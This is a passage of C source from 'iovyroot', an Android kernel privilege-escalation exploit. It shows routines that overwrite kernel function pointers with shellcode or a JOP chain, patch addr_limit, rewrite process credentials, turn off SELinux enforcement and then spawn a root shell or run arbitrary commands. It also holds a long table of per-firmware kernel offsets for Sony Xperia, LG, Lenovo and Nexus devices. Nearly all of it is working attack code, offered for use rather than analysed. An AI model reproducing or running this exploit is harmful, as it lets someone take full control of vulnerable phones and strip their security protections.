| return 1; 273 | if(heapspray(target)) 274 | return 1; 275 | 276 | sleep(1); 277 | 278 | if(startreadpipe()) 279 | return 1; 280 | 281 | sleep(1); 282 | while(1) 283 | { 284 | if(overflowcheck != MEMMAGIC) 285 | { 286 | kill_switch = 1; 287 | printf(" [+] Done\n"); 288 | break; 289 | } 290 | } 291 | 292 | return 0; 293 | } 294 | 295 | #if !(__LP64__) 296 | int getroot(struct offsets* o) 297 | { 298 | int dev; 299 | int ret = 1; 300 | struct thread_info* ti; 301 | 302 | printf("[+] Installing func ptr\n"); 303 | if(write_at_address(o->fsync, (long)MMAP_START)) 304 | return 1; 305 | 306 | sidtab = o->sidtab; 307 | policydb = o->policydb; 308 | copyshellcode(MMAP_START); 309 | if((dev = open("/dev/ptmx", O_RDWR)) < 0) 310 | return 1; 311 | 312 | ti = (struct thread_info*)fsync(dev); 313 | if(modify_task_cred_uc(ti)) 314 | goto end; 315 | 316 | 317 | { 318 | int zero = 0; 319 | if(o->selinux_enabled) 320 | write_at_address_pipe(o->selinux_enabled, &zero, sizeof(zero)); 321 | if(o->selinux_enforcing) 322 | write_at_address_pipe(o->selinux_enforcing, &zero, sizeof(zero)); 323 | } 324 | 325 | ret = 0; 326 | end: 327 | close(dev); 328 | return ret; 329 | } 330 | #else 331 | int getroot(struct offsets* o) 332 | { 333 | int ret = 1; 334 | int dev; 335 | unsigned long fp; 336 | struct thread_info* ti; 337 | 338 | printf("[+] Installing JOP\n"); 339 | if(write_at_address(o->check_flags, (long)o->joploc)) 340 | return 1; 341 | 342 | sidtab = o->sidtab; 343 | policydb = o->policydb; 344 | preparejop(MMAP_START, o->jopret); 345 | if((dev = open("/dev/ptmx", O_RDWR)) < 0) 346 | return 1; 347 | 348 | fp = (unsigned)fcntl(dev, F_SETFL, MMAP_START); 349 | fp += KERNEL_START; 350 | ti = get_thread_info(fp); 351 | 352 | printf("[+] Patching addr_limit\n"); 353 | if(write_at_address(&ti->addr_limit, -1)) 354 | goto end; 355 | printf("[+] Removing JOP\n"); 356 | if(writel_at_address_pipe(o->check_flags, 0)) 357 | goto end; 358 | 359 | if((ret = modify_task_cred_uc(ti))) 360 | goto end; 361 | 362 | //Z5 has domain auto trans from init to init_shell (restricted) so disable selinux completely 363 | { 364 | int zero = 0; 365 | if(o->selinux_enabled) 366 | write_at_address_pipe(o->selinux_enabled, &zero, sizeof(zero)); 367 | if(o->selinux_enforcing) 368 | write_at_address_pipe(o->selinux_enforcing, &zero, sizeof(zero)); 369 | } 370 | 371 | ret = 0; 372 | end: 373 | close(dev); 374 | return ret; 375 | } 376 | #endif 377 | 378 | int main(int argc, char* argv[]) 379 | { 380 | unsigned int i; 381 | int ret = 1; 382 | struct offsets* o; 383 | 384 | printf("iovyroot by zxz0O0\n"); 385 | printf("poc by idler1984\n\n"); 386 | 387 | if(!(o = get_offsets())) 388 | return 1; 389 | if(setfdlimit()) 390 | return 1; 391 | if(setprocesspriority()) 392 | return 1; 393 | if(getpipes()) 394 | return 1; 395 | if(initmappings()) 396 | return 1; 397 | 398 | ret = getroot(o); 399 | //let the threads end 400 | sleep(1); 401 | 402 | close(pipefd[0]); 403 | close(pipefd[1]); 404 | 405 | for(i = 0; i < IOVECS; i++) 406 | munmap(MMAP_BASE(i), MMAP_SIZE); 407 | 408 | if(getuid() == 0) 409 | { 410 | printf("got root lmao\n"); 411 | if(argc <= 1) 412 | system("USER=root /system/bin/sh"); 413 | else 414 | { 415 | char cmd[128] = { 0 }; 416 | for(i = 1; i < (unsigned int)argc; i++) 417 | { 418 | if(strlen(cmd) + strlen(argv[i]) > 126) 419 | break; 420 | strcat(cmd, argv[i]); 421 | strcat(cmd, " "); 422 | } 423 | system(cmd); 424 | } 425 | } 426 | 427 | return ret; 428 | } 429 | -------------------------------------------------------------------------------- /jni/offsets.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "offsets.h" 7 | 8 | #define ARRAYELEMS(a) (sizeof(a) / sizeof(a[0])) 9 | 10 | #if (__LP64__) 11 | 12 | struct offsets offsets[] = { 13 | /********************** LENOVO **********************/ 14 | //Vibe P1, LMY47V 15 | { "Lenovo P1a42", "Linux version 3.10.49-perf-gb8aeeef (buildslave@njbs12) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Jan 26 18:24:36 CST 2016", 16 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc00121a520) }, 17 | (void*)0xffffffc0001ae450, (void*)0xffffffc00017c70c, (void*)0xffffffc0011808b0, 18 | (void*)0xffffffc0011806b8, (void*)0xffffffc000eff168, (void*)0xffffffc00117d21c }, 19 | 20 | /********************** LG **********************/ 21 | //G Flex 2, 5.1.1 LMY47S 22 | { "LG-H955", "Linux version 3.10.49-perf-g524d659 (lgmobile@si-rd10-bx56) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Dec 9 11:56:36 KST 2015", 23 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001963938) }, 24 | (void*)0xffffffc000336ce4, (void*)0xffffffc0003037c8, (void*)0xffffffc00189b9c0, 25 | (void*)0xffffffc00189b7c8, (void*)0xffffffc001649320, (void*)0xffffffc001898324 }, 26 | //Nexus 5X, 6.0.1 MHC19J 27 | { "Nexus 5X", "Linux version 3.10.73-g3e127ab (android-build@wpiz15.hot.corp.google.com) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Feb 9 20:02:25 UTC 2016", 28 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001cfd430 + 8) }, 29 | (void*)0xffffffc0003ee4f0, (void*)0xffffffc0003075b0, (void*)0xffffffc001c364e0, 30 | (void*)0xffffffc001c36520, (void*)0xffffffc0018269ac, (void*)0xffffffc001c3302c }, 31 | 32 | /********************** SONY **********************/ 33 | //M4 Aqua 26.1.A.2.147 34 | { "E2303", "Linux version 3.10.49-perf-g8486ae6 (hudsonslave@cnbjlx20365) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Thu Sep 10 07:23:52 CST 2015", 35 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc00112a930) }, 36 | (void*)0xffffffc0001aea94, (void*)0xffffffc00017cc78, (void*)0xffffffc001090bd8, 37 | (void*)0xffffffc0010909e0, (void*)0xffffffc000f002d8, (void*)0xffffffc00108d544 }, 38 | //M5 30.0.A.1.23 39 | { "E5603", "Linux version 3.10.61+ (hudsonslave@cnbjlx20340) (gcc version 4.9 20140514 (mtk-20150408) (GCC) ) #1 SMP PREEMPT Fri Jul 24 17:37:23 CST 2015", 40 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0011d5d90) }, 41 | (void*)0xffffffc0001de6fc, (void*)0xffffffc0001a5e6c, NULL, 42 | NULL, (void*)0xffffffc000ed0ee0, (void*)0xffffffc0011ceeec }, 43 | //M5 30.1.A.1.33 44 | { "E5603", "Linux version 3.10.72+ (hudsonslave@cnbjlx20401) (gcc version 4.9 20140514 (mtk-20150408) (GCC) ) #1 SMP PREEMPT Thu Dec 31 17:39:24 CST 2015", 45 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0011a7208 + 8) }, 46 | (void*)0xffffffc0001e06fc, (void*)0xffffffc0001a8100, NULL, 47 | NULL, (void*)0xffffffc000ec53f8, (void*)0xffffffc00119fcec }, 48 | //M5 30.0.A.1.23 49 | { "E5606", "Linux version 3.10.61+ (hudsonslave@cnbjlx20340) (gcc version 4.9 20140514 (mtk-20150408) (GCC) ) #1 SMP PREEMPT Fri Jul 24 17:37:23 CST 2015", 50 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0011d5d90) }, 51 | (void*)0xffffffc0001de6fc, (void*)0xffffffc0001a5e6c, NULL, 52 | NULL, (void*)0xffffffc000ed0ee0, (void*)0xffffffc0011ceeec }, 53 | //M5 30.1.A.1.33 54 | { "E5606", "Linux version 3.10.72+ (hudsonslave@cnbjlx20401) (gcc version 4.9 20140514 (mtk-20150408) (GCC) ) #1 SMP PREEMPT Thu Dec 31 17:39:24 CST 2015", 55 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0011a7208 + 8) }, 56 | (void*)0xffffffc0001e06fc, (void*)0xffffffc0001a8100, NULL, 57 | NULL, (void*)0xffffffc000ec53f8, (void*)0xffffffc00119fcec }, 58 | //M5 Dual 30.0.B.1.23 59 | { "E5633", "Linux version 3.10.61+ (hudsonslave@cnbjlx20100) (gcc version 4.9 20140514 (mtk-20150408) (GCC) ) #1 SMP PREEMPT Fri Jul 24 17:39:51 CST 2015", 60 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001224d90) }, 61 | (void*)0xffffffc0001de6fc, (void*)0xffffffc0001a5e6c, NULL, 62 | NULL, (void*)0xffffffc000ef8ee0, (void*)0xffffffc00121deec }, 63 | //M5 Dual 30.1.B.1.33 64 | { "E5633", "Linux version 3.10.72+ (hudsonslave@cnbjlx21095) (gcc version 4.9 20140514 (mtk-20150408) (GCC) ) #1 SMP PREEMPT Thu Dec 31 17:04:22 CST 2015", 65 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0011f5208 + 8) }, //Xperia M5 uses a different file_operations 66 | (void*)0xffffffc0001e06fc, (void*)0xffffffc0001a8100, NULL, 67 | NULL, (void*)0xffffffc000eed3f8, (void*)0xffffffc0011edcec }, 68 | //M5 Dual 30.0.B.1.23 69 | { "E5643", "Linux version 3.10.61+ (hudsonslave@cnbjlx20100) (gcc version 4.9 20140514 (mtk-20150408) (GCC) ) #1 SMP PREEMPT Fri Jul 24 17:39:51 CST 2015", 70 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001224d90) }, 71 | (void*)0xffffffc0001de6fc, (void*)0xffffffc0001a5e6c, NULL, 72 | NULL, (void*)0xffffffc000ef8ee0, (void*)0xffffffc00121deec }, 73 | //M5 Dual 30.1.B.1.33 74 | { "E5643", "Linux version 3.10.72+ (hudsonslave@cnbjlx21095) (gcc version 4.9 20140514 (mtk-20150408) (GCC) ) #1 SMP PREEMPT Thu Dec 31 17:04:22 CST 2015", 75 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0011f5208 + 8) }, 76 | (void*)0xffffffc0001e06fc, (void*)0xffffffc0001a8100, NULL, 77 | NULL, (void*)0xffffffc000eed3f8, (void*)0xffffffc0011edcec }, 78 | //M5 30.0.A.1.23 79 | { "E5653", "Linux version 3.10.61+ (hudsonslave@cnbjlx20340) (gcc version 4.9 20140514 (mtk-20150408) (GCC) ) #1 SMP PREEMPT Fri Jul 24 17:37:23 CST 2015", 80 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0011d5d90) }, 81 | (void*)0xffffffc0001de6fc, (void*)0xffffffc0001a5e6c, NULL, 82 | NULL, (void*)0xffffffc000ed0ee0, (void*)0xffffffc0011ceeec }, 83 | //M5 30.1.A.1.33 84 | { "E5653", "Linux version 3.10.72+ (hudsonslave@cnbjlx20401) (gcc version 4.9 20140514 (mtk-20150408) (GCC) ) #1 SMP PREEMPT Thu Dec 31 17:39:24 CST 2015", 85 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0011a7208 + 8) }, 86 | (void*)0xffffffc0001e06fc, (void*)0xffffffc0001a8100, NULL, 87 | NULL, (void*)0xffffffc000ec53f8, (void*)0xffffffc00119fcec }, 88 | //M5 Dual 30.0.B.1.23 89 | { "E5663", "Linux version 3.10.61+ (hudsonslave@cnbjlx20100) (gcc version 4.9 20140514 (mtk-20150408) (GCC) ) #1 SMP PREEMPT Fri Jul 24 17:39:51 CST 2015", 90 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001224d90) }, 91 | (void*)0xffffffc0001de6fc, (void*)0xffffffc0001a5e6c, NULL, 92 | NULL, (void*)0xffffffc000ef8ee0, (void*)0xffffffc00121deec }, 93 | //M5 Dual 30.1.B.1.33 94 | { "E5663", "Linux version 3.10.72+ (hudsonslave@cnbjlx21095) (gcc version 4.9 20140514 (mtk-20150408) (GCC) ) #1 SMP PREEMPT Thu Dec 31 17:04:22 CST 2015", 95 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0011f5208 + 8) }, 96 | (void*)0xffffffc0001e06fc, (void*)0xffffffc0001a8100, NULL, 97 | NULL, (void*)0xffffffc000eed3f8, (void*)0xffffffc0011edcec }, 98 | //Z5C 32.0.A.6.200 99 | { "E5803", "Linux version 3.10.49-perf-g83fc9bc (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Oct 13 05:33:30 2015", 100 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc00194f590) }, 101 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001886940, 102 | (void*)0xffffffc001886748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188329c }, 103 | //Z5C 32.0.A.6.200 Malaysia 104 | { "E5803", "Linux version 3.10.49-perf-g75e6207 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Mon Oct 26 23:20:48 2015", 105 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc00194f590) }, 106 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001886940, 107 | (void*)0xffffffc001886748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188329c }, 108 | //Z5C 32.0.A.6.152 109 | { "E5823", "Linux version 3.10.49-perf-g83fc9bc (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Oct 13 05:33:30 2015", 110 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc00194f590) }, 111 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001886940, 112 | (void*)0xffffffc001886748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188329c }, 113 | //Z5C 32.0.A.6.200 114 | { "E5823", "Linux version 3.10.49-perf-g75e6207 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Mon Oct 26 23:20:48 2015", 115 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc00194f590) }, 116 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001886940, 117 | (void*)0xffffffc001886748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188329c }, 118 | //Z3+ Dual 28.0.A.8.266 119 | { "E6533", "Linux version 3.10.49-perf-g3363e96 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Oct 7 17:07:50 2015", 120 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0018ff4f0) }, 121 | (void*)0xffffffc0003b9780, (void*)0xffffffc000302688, (void*)0xffffffc0018354b8, 122 | (void*)0xffffffc0018352c0, (void*)0xffffffc001649548, (void*)0xffffffc001831e1c }, 123 | //Z3+ 28.0.A.8.266 124 | { "E6553", "Linux version 3.10.49-perf-g3363e96 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Oct 7 17:07:50 2015", 125 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0018ff4f0) }, 126 | (void*)0xffffffc0003b9780, (void*)0xffffffc000302688, (void*)0xffffffc0018354b8, 127 | (void*)0xffffffc0018352c0, (void*)0xffffffc001649548, (void*)0xffffffc001831e1c }, 128 | //Z5 32.0.A.6.152 129 | { "E6603", "Linux version 3.10.49-perf-g83fc9bc (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Oct 13 05:33:30 2015", 130 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001950590) }, 131 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001887940, 132 | (void*)0xffffffc001887748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188429c }, 133 | //Z5 Dual Sim 32.0.A.6.152 134 | { "E6633", "Linux version 3.10.49-perf-g83fc9bc (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Oct 13 05:33:30 2015", 135 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc00194f590) }, 136 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001886940, 137 | (void*)0xffffffc001886748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188329c }, 138 | //Z5 32.0.A.6.152 139 | { "E6653", "Linux version 3.10.49-perf-g83fc9bc (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Oct 13 05:33:30 2015", 140 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001950590) }, 141 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001887940, 142 | (void*)0xffffffc001887748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188429c }, 143 | //Z5 32.0.A.6.200 144 | { "E6653", "Linux version 3.10.49-perf-g75e6207 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Mon Oct 26 23:20:48 2015", 145 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001950590) }, 146 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001887940, 147 | (void*)0xffffffc001887748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188429c }, 148 | //Z5 Dual Sim 32.0.A.6.152 149 | { "E6683", "Linux version 3.10.49-perf-g83fc9bc (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Oct 13 05:33:30 2015", 150 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc00194f590) }, 151 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001886940, 152 | (void*)0xffffffc001886748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188329c }, 153 | //Z5 Dual Sim 32.0.A.6.209 154 | { "E6683", "Linux version 3.10.49-perf-g2174004 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Fri Nov 13 16:33:06 2015", 155 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc00194f590) }, 156 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001886940, 157 | (void*)0xffffffc001886748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188329c }, 158 | //Z5 Premium Dual Sim 32.0.A.6.170 159 | { "E6833", "Linux version 3.10.49-perf-g9a3c9a8-04532-g75e6207 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Mon Oct 26 23:20:48 2015", 160 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001950590) }, 161 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001887940, 162 | (void*)0xffffffc001887748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188429c }, 163 | //Z5 Premium International 32.0.A.6.170 & 32.0.A.6.200 164 | { "E6853", "Linux version 3.10.49-perf-g75e6207 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Mon Oct 26 23:20:48 2015", 165 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001950590) }, 166 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001887940, 167 | (void*)0xffffffc001887748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188429c }, 168 | //Z5 Premium Dual Sim 32.0.A.6.160 169 | { "E6883", "Linux version 3.10.49-perf-g83fc9bc (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Oct 13 05:33:30 2015", 170 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001950590) }, 171 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001887940, 172 | (void*)0xffffffc001887748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188429c }, 173 | //Z5 Premium Dual Sim 32.0.A.6.170 174 | { "E6883", "Linux version 3.10.49-perf-g9a3c9a8-04532-g75e6207 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Mon Oct 26 23:20:48 2015", 175 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001950590) }, 176 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001887940, 177 | (void*)0xffffffc001887748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188429c }, 178 | //Z5 Premium Dual Sim 32.0.A.6.209 179 | { "E6883", "Linux version 3.10.49-perf-g2174004 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Fri Nov 13 16:33:06 2015", 180 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001950590) }, 181 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001887940, 182 | (void*)0xffffffc001887748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188429c }, 183 | //Z4 Tablet LTE 28.0.A.8.260 184 | { "SGP771", "Linux version 3.10.49-perf-g3363e96 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Oct 7 17:07:50 2015", 185 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0018fd4f0) }, 186 | (void*)0xffffffc0003b9780, (void*)0xffffffc000302688, (void*)0xffffffc0018334b8, 187 | (void*)0xffffffc0018332c0, (void*)0xffffffc001649548, (void*)0xffffffc00182fe1c }, 188 | //Z4 Tablet WiFi 28.0.A.8.260 189 | { "SGP712", "Linux version 3.10.49-perf-g3363e96 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Oct 7 17:07:50 2015", 190 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0018fc4f0) }, 191 | (void*)0xffffffc0003b9780, (void*)0xffffffc000302688, (void*)0xffffffc0018324b8, 192 | (void*)0xffffffc0018322c0, (void*)0xffffffc001649548, (void*)0xffffffc00182ee1c }, 193 | //Z4 JP 28.0.B.0.446 194 | { "SO-03G", "Linux version 3.10.49-perf-g897210e (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Fri May 8 17:36:11 2015", 195 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0018fd4f0) }, 196 | (void*)0xffffffc0003b7d84, (void*)0xffffffc000301870, (void*)0xffffffc0018334b8, 197 | (void*)0xffffffc0018332c0, (void*)0xffffffc001649548, (void*)0xffffffc00182fe1c }, 198 | //Z4 JP 28.0.B.0.488 199 | { "SO-03G", "Linux version 3.10.49-perf-ga1be5c2 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Jul 29 19:48:33 2015", 200 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0018fd4f0) }, 201 | (void*)0xffffffc0003b7d84, (void*)0xffffffc000301870, (void*)0xffffffc0018334b8, 202 | (void*)0xffffffc0018332c0, (void*)0xffffffc001649548, (void*)0xffffffc00182fe1c }, 203 | //Z4 28.0.B.1.229 204 | { "SO-03G", "Linux version 3.10.49-perf-g497e6be (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Dec 15 15:01:03 2015", 205 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0018fd4f0) }, 206 | (void*)0xffffffc0003b7d84, (void*)0xffffffc000301870, (void*)0xffffffc0018334b8, 207 | (void*)0xffffffc0018332c0, (void*)0xffffffc001649548, (void*)0xffffffc00182fe1c }, 208 | //Z4 28.0.D.6.136 209 | { "SOV31", "Linux version 3.10.49-perf-geaad5d9 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Mon Oct 19 17:21:43 2015", 210 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0018fd4f0) }, 211 | (void*)0xffffffc0003b7d84, (void*)0xffffffc000301870, (void*)0xffffffc0018334b8, 212 | (void*)0xffffffc0018332c0, (void*)0xffffffc001649548, (void*)0xffffffc00182fe1c }, 213 | //Z4 28.0.C.4.146 214 | { "402SO", "Linux version 3.10.49-perf-g9d3eaeb (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Mon Feb 29 19:26:35 2016", 215 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc0018fd4f0) }, 216 | (void*)0xffffffc0003b7d84, (void*)0xffffffc000301870, (void*)0xffffffc0018334b8, 217 | (void*)0xffffffc0018332c0, (void*)0xffffffc001649548, (void*)0xffffffc00182fe1c }, 218 | //Z5 32.0.B.0.370 219 | { "SO-01H", "Linux version 3.10.49-perf-g252d546 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Fri Sep 18 18:40:40 2015", 220 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001950590) }, 221 | (void*)0xffffffc0003c7560, (void*)0xffffffc000310360, (void*)0xffffffc001887940, 222 | (void*)0xffffffc001887748, (void*)0xffffffc00164ad08, (void*)0xffffffc00188429c }, 223 | //Z5 32.0.B.0.443 224 | { "SO-01H", "Linux version 3.10.49-perf-g7498fe6 (BuildUser@BuildHost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Thu Nov 19 21:23:00 2015", 225 | { (void*)CHECK_FLAGS_OFFSET(0xffffffc001950590) }, 226 | (void*)0xffffffc0003c66e0, (void*)0xffffffc00030f4e0, (void*)0xffffffc001887940, 227 | (void*)0xffffffc001887748, (void*)0xffffffc00164ad48, (void*)0xffffffc00188429c }, 228 | }; 229 | 230 | #else 231 | 232 | struct offsets offsets[] = { 233 | //Z3C 23.4.A.1.264 234 | { "D5803", "Linux version 3.4.0-perf-gbe52486 (BuildUser@BuildHost) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Thu Sep 17 15:00:01 2015", 235 | { (void*)FSYNC_OFFSET(0xc10ec130) }, 236 | (void*)0xc10e0c3c, (void*)0xc10e0b2c, (void*)0xc0f57884, (void*)0xc10df0d8 }, 237 | //Z3C 23.1.B.1.197 238 | { "SO-02G", "Linux version 3.4.0-perf-gf6a03f1 (BuildUser@BuildHost) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Wed Aug 5 12:06:34 2015", 239 | { (void*)FSYNC_OFFSET(0xc10e9470) }, 240 | (void*)0xc10de07c, (void*)0xc10ddf6c, (void*)0xc0f56dc4, (void*)0xc10dc518 }, 241 | //ZR 10.7.A.0.228 242 | { "C5503", "Linux version 3.4.0-perf-gbccb33a (BuildUser@BuildHost) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Fri Jul 10 09:23:01 2015", 243 | { (void*)FSYNC_OFFSET(0xc1073ca0) }, 244 | (void*)0xc1059e48, (void*)0xc1059d38, (void*)0xc0ecdfe0, (void*)0xc10582e4 }, 245 | }; 246 | 247 | #endif /* (__LP64__) */ 248 | 249 | #define DEVNAME_LEN 64 250 | #define KERNELVER_LEN 256 251 | 252 | static char* get_devname(char* name) 253 | { 254 | FILE* f; 255 | char* line; 256 | static const char* devstr = "ro.product.model="; 257 | size_t bufsize = 1024; 258 | 259 | if(!name) 260 | return NULL; 261 | 262 | if(!(f = fopen("/system/build.prop", "r"))) 263 | { 264 | perror("fopen()"); 265 | return NULL; 266 | } 267 | 268 | line = malloc(bufsize); 269 | while(getline(&line, &bufsize, f) > 0) 270 | { 271 | if(strncmp(line, devstr, strlen(devstr)) == 0) 272 | { 273 | strncpy(name, strchr(line, '=') + 1, DEVNAME_LEN - 1); 274 | if(name[strlen(name) - 1] == '\n') 275 | name[strlen(name) - 1] = 0; 276 | goto end; 277 | } 278 | } 279 | name = NULL; 280 | 281 | end: 282 | free(line); 283 | fclose(f); 284 | return name; 285 | } 286 | 287 | static char* get_kernelver(char* str) 288 | { 289 | FILE* f; 290 | 291 | if(!str) 292 | return NULL; 293 | 294 | if(!(f = fopen("/proc/version", "r"))) 295 | { 296 | perror("fopen()"); 297 | return NULL; 298 | } 299 | 300 | if(fread(str, 1, KERNELVER_LEN - 1, f) > 0) 301 | { 302 | if(str[strlen(str) - 1] == '\n') 303 | str[strlen(str) - 1] = 0; 304 | goto end; 305 | } 306 | 307 | str = NULL; 308 | end: 309 | fclose(f); 310 | return str; 311 | } 312 | 313 | struct offsets* get_offsets() 314 | { 315 | char* devname = calloc(1, DEVNAME_LEN); 316 | char* kernelver = calloc(1, KERNELVER_LEN); 317 | unsigned int i; 318 | struct offsets* o = NULL; 319 | 320 | if(!get_devname(devname)) 321 | goto end; 322 | if(!get_kernelver(kernelver)) 323 | goto end; 324 | 325 | for(i = 0; i < ARRAYELEMS(offsets); i++) 326 | { 327 | if(strcmp(devname, offsets[i].devname)) 328 | continue; 329 | if(strcmp(kernelver, offsets[i].kernelver)) 330 | continue; 331 | o = &offsets[i]; 332 | break; 333 | } 334 | 335 | end: 336 | if(o == NULL) 337 | printf("Error: Device not supported\n"); 338 | free(devname); 339 | 